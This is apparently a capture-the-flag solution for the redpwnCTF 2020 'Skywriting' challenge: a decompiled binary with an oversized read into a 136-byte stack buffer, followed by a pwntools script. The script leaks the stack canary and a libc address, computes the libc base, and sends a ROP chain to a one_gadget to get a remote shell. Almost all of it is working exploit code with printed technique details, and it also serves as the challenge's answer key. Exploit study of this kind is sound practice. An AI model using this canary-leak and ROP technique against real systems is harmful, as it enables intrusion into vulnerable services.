Skywriting

undefined8 FUN_00100995(void)

{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_9c;
  char local_98 [136];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  _DAT_00302060 = "use the right statistical randomness tests";
  _DAT_00302068 = "disambiguate some homoglyphs";
  _DAT_00302070 = "recognize the poem";
  _DAT_00302078 = "interpret them as Google Drive IDs";
  _DAT_00302080 = "recognize the logical clues";
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Hello there, do you want to write on the sky? ");
  __isoc99_scanf(&DAT_00100cc7,&local_9c);
  if (local_9c == 1) {
    puts("Yay!");
    printf("Is the answer intuitive yet? Give it your best shot: ");
    read(0,local_98,0x200);
    while( true ) {
      iVar1 = strcmp("notflag{a_cloud_is_just_someone_elses_computer}\n",local_98);
      if (iVar1 == 0) break;
      printf("%s??\n",local_98);
      uVar2 = FUN_0010093a();
      printf("I can\'t believe you haven\'t gotten it yet. You just need to %s and its trivial\n",
             uVar2);
      printf("Try again, give it another shot: ");
      read(0,local_98,0x200);
    }
    puts("Good job! You did it!");
  }
  else {
    puts(":(, take this shell instead");
    system("/bin/zsh");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

#! /usr/bin/python3

from pwn import *

HOST = '2020.redpwnc.tf'
PORT = 31034
BINARY = './skywriting'

elf = context.binary = ELF(BINARY)
libc = ELF('./libc.so.6')  # glibc-2.27 (Ubuntu 18.04 default libc, based on provided Dockerfile)

libc.symbols['one_gadget'] = 0x4f322

'''
We pad until we are exactly just before the canary so that the null byte in the least significant byte
of the canary would be overwritten with a newline character. The script assumes printf then exposes
the seven remaining bytes; an earlier null byte can truncate the leak.
'''
CANARY_PADDING = 136
'''
We pad until we are one byte before __libc_start_main + 231 so that the newline won't overwrite any of
it's bytes.
'''
LIBC_START_MAIN_231_PADDING = CANARY_PADDING + 15
RIP_PADDING = CANARY_PADDING + 8 + 8

TRIGGER_RET = 'notflag{a_cloud_is_just_someone_elses_computer}\n\x00'

splash()

r = remote(HOST, PORT)

with log.progress('Stage 1: Leak canary'):
    r.recvuntil('Hello there, do you want to write on the sky? \n')
    r.sendline('1')

    r.recvuntil('Is the answer intuitive yet? Give it your best shot: ')

    PAYLOAD = flat(length = CANARY_PADDING)
    r.sendline(PAYLOAD)

    r.recvline()
    canary = u64(b'\x00' + r.recvn(7)) # Fix width for canary

    r.success(f'Leaked canary: {hex(canary)}')

with log.progress('Stage 2: Leak (__libc_start_main + 231)'):
    r.recvuntil('Try again, give it another shot: ')

    PAYLOAD = flat(length = LIBC_START_MAIN_231_PADDING)
    r.sendline(PAYLOAD)

    r.recvline()
    libc_start_main_231 = u64(r.recvn(6) + b'\x00\x00') # Fix width for __libc_start_main + 231
    r.success(f'Leaked (__libc_start_main + 231): {hex(libc_start_main_231)}')

    libc.address = libc_start_main_231 - (libc.symbols['__libc_start_main'] + 231)
    r.success(f'Calculated libc base: {hex(libc.address)}')

with log.progress('Stage 3: Pwn'):
    rop = ROP([elf, libc])
    rop.one_gadget()

    r.recvuntil('Try again, give it another shot: ')
    r.sendline(flat({ 0: TRIGGER_RET, CANARY_PADDING: p64(canary), RIP_PADDING: rop.chain() }))

    r.interactive()

r.close()